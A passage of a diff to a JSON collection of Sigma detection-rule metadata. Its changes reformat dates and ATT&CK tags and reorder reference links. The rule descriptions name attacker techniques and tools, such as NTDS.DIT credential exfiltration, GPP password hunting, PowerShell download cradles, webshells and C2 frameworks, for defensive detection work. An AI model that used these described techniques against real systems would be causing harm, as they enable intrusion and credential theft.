"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_susp_child_processes.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.005", "car.2013-02-003", "car.2013-03-001", @@ -17435,7 +17367,7 @@ "description": "Detects the use of the PhoneDeepLink parameter to potentially sideload a DLL file that does not exist. This non-existent DLL file is named \"ShellChromeAPI.dll\".\nAdversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter\n", "meta": { "author": "@gott_cyber", - "creation_date": "2022/08/29", + "creation_date": "2022-08-29", "falsepositive": [ "Unknown" ], @@ -17444,12 +17376,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://mobile.twitter.com/0gtweet/status/1564131230941122561", "https://strontic.github.io/xcyclopedia/library/DeviceEnroller.exe-24BEF0D6B0ECED36BB41831759FDE18D.html", + "https://mobile.twitter.com/0gtweet/status/1564131230941122561", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_deviceenroller_dll_sideloading.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002" ] }, @@ -17469,7 +17401,7 @@ "description": "Detects the installation of VsCode tunnel (code-tunnel) as a service.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/10/25", + "creation_date": "2023-10-25", "falsepositive": [ "Legitimate installation of code-tunnel as a service" ], @@ -17478,13 +17410,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://badoption.eu/blog/2023/01/31/code_c2.html", "https://code.visualstudio.com/docs/remote/tunnels", + "https://badoption.eu/blog/2023/01/31/code_c2.html", "https://ipfyx.fr/post/visual-studio-code-tunnel/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_service_install.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1071.001" ] }, @@ -17504,7 +17436,7 @@ "description": "Detects the execution of a renamed \"PingCastle\" binary based on the PE metadata fields.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)", - "creation_date": "2024/01/11", + "creation_date": "2024-01-11", "falsepositive": [ "Unknown" ], @@ -17513,14 +17445,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", "https://www.pingcastle.com/documentation/scanner/", + "https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_pingcastle.yml" ], "tags": [ "attack.execution", "attack.t1059", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -17547,7 +17479,7 @@ "description": "Attackers may leverage fsutil to enumerated connected drives.", "meta": { "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", - "creation_date": "2022/03/29", + "creation_date": "2022-03-29", "falsepositive": [ "Certain software or administrative tasks may trigger false positives." ], @@ -17556,8 +17488,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml", "Turla has used fsutil fsinfo drives to list connected drives.", + "https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/discovery_peripheral_device.toml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fsutil_drive_enumeration.yml" ], "tags": [ @@ -17581,7 +17513,7 @@ "description": "Detects command line parameters used by Bloodhound and Sharphound hack tools", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/12/20", + "creation_date": "2019-12-20", "falsepositive": [ "Other programs that use these command line option and accepts an 'All' parameter" ], @@ -17656,7 +17588,7 @@ "description": "Detects the execution of the PUA/Recon tool Seatbelt via PE information of command line parameters", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/18", + "creation_date": "2022-10-18", "falsepositive": [ "Unlikely" ], @@ -17665,8 +17597,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/GhostPack/Seatbelt", "https://www.bluetangle.dev/2022/08/fastening-seatbelt-on-threat-hunting.html", + "https://github.com/GhostPack/Seatbelt", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_seatbelt.yml" ], "tags": [ @@ -17706,7 +17638,7 @@ "description": "Detects execution of Windows Problem Steps Recorder (psr.exe), a utility used to record the user screen and clicks.", "meta": { "author": "Beyu Denis, oscd.community", - "creation_date": "2019/10/12", + "creation_date": "2019-10-12", "falsepositive": [ "Unknown" ], @@ -17715,9 +17647,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20200229201156/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493861893.pdf", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", "https://lolbas-project.github.io/lolbas/Binaries/Psr/", + "https://web.archive.org/web/20200229201156/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493861893.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psr_capture_screenshots.yml" ], "tags": [ @@ -17741,7 +17673,7 @@ "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "meta": { "author": "frack113", - "creation_date": "2021/12/10", + "creation_date": "2021-12-10", "falsepositive": [ "Unknown" ], @@ -17774,7 +17706,7 @@ "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "frack113", - "creation_date": "2022/02/13", + "creation_date": "2022-02-13", "falsepositive": [ "Legitimate usage of the tool" ], @@ -17787,7 +17719,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -17807,7 +17739,7 @@ "description": "Detects the creation of a process via the Windows task manager. This might be an attempt to bypass UAC", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2018/03/13", + "creation_date": "2018-03-13", "falsepositive": [ "Administrative activity" ], @@ -17820,7 +17752,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskmgr_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -17840,7 +17772,7 @@ "description": "HxTsr.exe is a Microsoft compressed executable file called Microsoft Outlook Communications.\nHxTsr.exe is part of Outlook apps, because it resides in a hidden \"WindowsApps\" subfolder of \"C:\\Program Files\".\nAny instances of hxtsr.exe not in this folder may be malware camouflaging itself as HxTsr.exe\n", "meta": { "author": "Sreeman", - "creation_date": "2020/04/17", + "creation_date": "2020-04-17", "falsepositive": [ "Unknown" ], @@ -17853,7 +17785,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hxtsr_masquerading.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -17873,7 +17805,7 @@ "description": "Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/09/15", + "creation_date": "2022-09-15", "falsepositive": [ "Unknown" ], @@ -17907,7 +17839,7 @@ "description": "Detects suspicious command line flags that let the user set a target user and command as e.g. seen in PsExec-like tools", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/11/11", + "creation_date": "2022-11-11", "falsepositive": [ "Unknown" ], @@ -17920,7 +17852,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_privilege_escalation_cli_patterns.yml" ], "tags": [ - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "50d66fb0-03f8-4da0-8add-84e77d12a020", @@ -17930,7 +17862,7 @@ "description": "Detects suspicious process patterns used in NTDS.DIT exfiltration", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/11", + "creation_date": "2022-03-11", "falsepositive": [ "Unknown" ], @@ -17939,17 +17871,17 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", "https://pentestlab.blog/tag/ntds-dit/", + "https://github.com/zcgonvh/NTDSDumpEx", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Gather/Copy-VSS.ps1", - "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", - "https://blog.talosintelligence.com/2022/08/recent-cyber-attack.html?m=1", "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", - "https://github.com/zcgonvh/NTDSDumpEx", + "https://github.com/rapid7/metasploit-framework/blob/d297adcebb5c1df6fe30b12ca79b161deb71571c/data/post/powershell/NTDSgrab.ps1", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntds.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -17969,7 +17901,7 @@ "description": "Detects addition of users to the local administrator group via \"Net\" or \"Add-LocalGroupMember\".", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/08/12", + "creation_date": "2022-08-12", "falsepositive": [ "Administrative activity" ], @@ -18002,7 +17934,7 @@ "description": "Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/09/06", + "creation_date": "2022-09-06", "falsepositive": [ "System administrator usage" ], @@ -18036,7 +17968,7 @@ "description": "Detects potentially suspicious execution of the Qemu utility in a Windows environment.\nThreat actors have leveraged this utility and this technique for achieving network access as reported by Kaspersky.\n", "meta": { "author": "Muhammad Faisal (@faisalusuf), Hunter Juhan (@threatHNTR)", - "creation_date": "2024/06/03", + "creation_date": "2024-06-03", "falsepositive": [ "Unknown" ], @@ -18050,7 +17982,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_qemu_suspicious_execution.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090", "attack.t1572" ] @@ -18078,7 +18010,7 @@ "description": "Detects usage of the \"Set-Service\" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as \"sc.exe\", \"Get-Service\"...etc. (Works only in powershell 7)", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/17", + "creation_date": "2022-10-17", "falsepositive": [ "Rare intended use of hidden services" ], @@ -18087,14 +18019,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", "https://twitter.com/Alh4zr3d/status/1580925761996828672", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_hide_services_via_set_service.yml" ], "tags": [ "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1574.011" ] }, @@ -18114,7 +18046,7 @@ "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) for proxy execution.", "meta": { "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), Florian Roth (Nextron Systems), Sreeman, FPT.EagleEye Team", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Unknown" ], @@ -18128,7 +18060,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wuauclt_dll_loading.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.execution" ] @@ -18149,7 +18081,7 @@ "description": "Detects port forwarding activity via SSH.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/12", + "creation_date": "2022-10-12", "falsepositive": [ "Administrative activity using a remote port forwarding to a local port" ], @@ -18162,8 +18094,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ssh_port_forward.yml" ], "tags": [ - "attack.command_and_control", - "attack.lateral_movement", + "attack.command-and-control", + "attack.lateral-movement", "attack.t1572", "attack.t1021.001", "attack.t1021.004" @@ -18199,7 +18131,7 @@ "description": "Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells", "meta": { "author": "Florian Roth (Nextron Systems), MSTI (query)", - "creation_date": "2022/10/01", + "creation_date": "2022-10-01", "falsepositive": [ "Unknown" ], @@ -18256,7 +18188,7 @@ "description": "Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)", "meta": { "author": "Florian Roth (Nextron Systems), David ANDRE (additional keywords)", - "creation_date": "2021/12/20", + "creation_date": "2021-12-20", "falsepositive": [ "Administrative activity", "Scripts and administrative tools used in the monitored environment", @@ -18272,9 +18204,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml" ], "tags": [ - "attack.credential_access", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.credential-access", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1134", "attack.t1003", "attack.t1027" @@ -18310,7 +18242,7 @@ "description": "Detects the usage of \"mstsc.exe\" with the \"/v\" flag to initiate a connection to a remote server.\nAdversaries may use valid accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n", "meta": { "author": "frack113", - "creation_date": "2022/01/07", + "creation_date": "2022-01-07", "falsepositive": [ "WSL (Windows Sub System For Linux)" ], @@ -18319,12 +18251,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_remote_connection.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1021.001" ] }, @@ -18344,7 +18276,7 @@ "description": "The \"ScriptRunner.exe\" binary can be abused to proxy execution through it and bypass possible whitelisting", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/01", + "creation_date": "2022-07-01", "falsepositive": [ "Legitimate use when App-v is deployed" ], @@ -18357,7 +18289,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_scriptrunner.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1218" ] @@ -18378,7 +18310,7 @@ "description": "It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space.", "meta": { "author": "David Burkett, @signalblur", - "creation_date": "2019/12/28", + "creation_date": "2019-12-28", "falsepositive": [ "Rpcnet.exe / rpcnetp.exe which is a lojack style software. https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf" ], @@ -18387,12 +18319,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", + "https://web.archive.org/web/20180718061628/https://securitybytes.io/blue-team-fundamentals-part-two-windows-processes-759fe15965e2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_execution_with_no_cli_flags.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1055" ] }, @@ -18412,7 +18344,7 @@ "description": "Detects potential RDP connection via Mstsc using a local \".rdp\" file located in suspicious locations.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/04/18", + "creation_date": "2023-04-18", "falsepositive": [ "Likelihood is related to how often the paths are used in the environment" ], @@ -18421,12 +18353,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/", + "https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/", "https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc_run_local_rdp_file_susp_location.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1219" ] }, @@ -18446,7 +18378,7 @@ "description": "Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule", "meta": { "author": "Florian Roth (Nextron Systems), omkar72, oscd.community, Swachchhanda Shrawan Poudel", - "creation_date": "2019/01/29", + "creation_date": "2019-01-29", "falsepositive": [ "Legitimate administration activity", "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)" @@ -18456,15 +18388,15 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://adepts.of0x.cc/netsh-portproxy-code/", "https://www.dfirnotes.net/portproxy_detection/", "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://adepts.of0x.cc/netsh-portproxy-code/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_forwarding.yml" ], "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", - "attack.command_and_control", + "attack.lateral-movement", + "attack.defense-evasion", + "attack.command-and-control", "attack.t1090" ] }, @@ -18484,7 +18416,7 @@ "description": "Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/03/05", + "creation_date": "2021-03-05", "falsepositive": [ "Unknown" ], @@ -18497,7 +18429,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_inline_vbs.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1055" ] }, @@ -18517,7 +18449,7 @@ "description": "Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/09/12", + "creation_date": "2019-09-12", "falsepositive": [ "Legitimate usage of remote Powershell, e.g. for monitoring purposes." ], @@ -18558,7 +18490,7 @@ "description": "Detects suspicious powershell command line parameters used in Empire", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/04/20", + "creation_date": "2019-04-20", "falsepositive": [ "Other tools that incidentally use the same command line parameters" ], @@ -18567,10 +18499,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", + "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178", "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64", - "https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_launch.yml" ], "tags": [ @@ -18594,7 +18526,7 @@ "description": "Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/05/22", + "creation_date": "2019-05-22", "falsepositive": [ "Unknown" ], @@ -18607,9 +18539,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_svchost_termserv_proc_spawn.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190", - "attack.lateral_movement", + "attack.lateral-movement", "attack.t1210", "car.2013-07-002" ] @@ -18637,7 +18569,7 @@ "description": "Detects Certipy a tool for Active Directory Certificate Services enumeration and abuse based on PE metadata characteristics and common command line arguments.", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "Unlikely" ], @@ -18651,7 +18583,7 @@ ], "tags": [ "attack.discovery", - "attack.credential_access", + "attack.credential-access", "attack.t1649" ] }, @@ -18671,7 +18603,7 @@ "description": "Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)", "meta": { "author": "Bhabesh Raj", - "creation_date": "2022/03/04", + "creation_date": "2022-03-04", "falsepositive": [ "Unknown" ], @@ -18680,14 +18612,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://uvnc.com/docs/uvnc-viewer/52-ultravnc-viewer-commandline-parameters.html", "https://web.archive.org/web/20220224045756/https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", + "https://uvnc.com/docs/uvnc-viewer/52-ultravnc-viewer-commandline-parameters.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc_susp_execution.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.g0047", "attack.t1021.005" ] @@ -18708,7 +18640,7 @@ "description": "Detect usage of the \"unregmp2.exe\" binary as a proxy to launch a custom version of \"wmpnscfg.exe\"", "meta": { "author": "frack113", - "creation_date": "2022/12/29", + "creation_date": "2022-12-29", "falsepositive": [ "Unknown" ], @@ -18721,7 +18653,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -18741,7 +18673,7 @@ "description": "Detects execution of the \"cloudflared\" tool to connect back to a tunnel. This was seen used by threat actors to maintain persistence and remote access to compromised networks.", "meta": { "author": "Janantha Marasinghe, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/17", + "creation_date": "2023-05-17", "falsepositive": [ "Legitimate usage of Cloudflared tunnel." ], @@ -18750,13 +18682,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/cloudflare/cloudflared", - "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps", "https://blog.reconinfosec.com/emergence-of-akira-ransomware-group", + "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps", + "https://github.com/cloudflare/cloudflared", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_tunnel_run.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1102", "attack.t1090", "attack.t1572" @@ -18792,7 +18724,7 @@ "description": "Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.", "meta": { "author": "frack113", - "creation_date": "2021/12/27", + "creation_date": "2021-12-27", "falsepositive": [ "Unknown" ], @@ -18805,7 +18737,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1552.006" ] }, @@ -18825,7 +18757,7 @@ "description": "Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/08/28", + "creation_date": "2020-08-28", "falsepositive": [ "Unknown" ], @@ -18840,7 +18772,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.command_and_control", + "attack.command-and-control", "attack.t1104", "attack.t1105" ] @@ -18875,7 +18807,7 @@ "description": "Detects execution of renamed Remote Utilities (RURAT) via Product PE header field", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/19", + "creation_date": "2022-09-19", "falsepositive": [ "Unknown" ], @@ -18888,9 +18820,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rurat.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.collection", - "attack.command_and_control", + "attack.command-and-control", "attack.discovery", "attack.s0592" ] @@ -18902,7 +18834,7 @@ "description": "Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/11/29", + "creation_date": "2021-11-29", "falsepositive": [ "Unknown" ], @@ -18936,7 +18868,7 @@ "description": "Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/02/23", + "creation_date": "2022-02-23", "falsepositive": [ "Domain Controller User Logon", "Unknown how many legitimate software products use that method" @@ -18950,7 +18882,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_nouaccheck.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1548.002" ] }, @@ -18970,7 +18902,7 @@ "description": "Detects process activity patterns as seen being used by Sliver C2 framework implants", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Florian Roth (Nextron Systems)", - "creation_date": "2022/08/25", + "creation_date": "2022-08-25", "falsepositive": [ "Unlikely" ], @@ -19004,7 +18936,7 @@ "description": "Detects using SettingSyncHost.exe to run hijacked binary", "meta": { "author": "Anton Kutepov, oscd.community", - "creation_date": "2020/02/05", + "creation_date": "2020-02-05", "falsepositive": [ "Unknown" ], @@ -19018,7 +18950,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.008" ] }, @@ -19038,7 +18970,7 @@ "description": "Detects suspicious ways to run Invoke-Execution using IEX alias", "meta": { "author": "Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/03/24", + "creation_date": "2022-03-24", "falsepositive": [ "Legitimate scripts that use IEX" ], @@ -19047,8 +18979,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2", "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708", + "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_iex_patterns.yml" ], "tags": [ @@ -19072,7 +19004,7 @@ "description": "Office application called wmic to proxye execution through a LOLBIN process. This is often used to break suspicious parent-child chain (Office app spawns LOLBin).", "meta": { "author": "Vadim Khrykov, Cyb3rEng", - "creation_date": "2021/08/23", + "creation_date": "2021-08-23", "falsepositive": [ "Unknown" ], @@ -19090,7 +19022,7 @@ "attack.t1047", "attack.t1218.010", "attack.execution", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -19123,7 +19055,7 @@ "description": "Detects suspicious child processes of a Windows shell and scripting processes such as wscript, rundll32, powershell, mshta...etc.", "meta": { "author": "Florian Roth (Nextron Systems), Tim Shelton", - "creation_date": "2018/04/06", + "creation_date": "2018-04-06", "falsepositive": [ "Administrative scripts", "Microsoft SCCM" @@ -19138,7 +19070,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1059.005", "attack.t1059.001", "attack.t1218" @@ -19174,7 +19106,7 @@ "description": "Detects possible execution via LNK file accessed on a WebDAV server.", "meta": { "author": "Micah Babinski", - "creation_date": "2023/08/21", + "creation_date": "2023-08-21", "falsepositive": [ "Unknown" ], @@ -19183,8 +19115,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462", "https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html", + 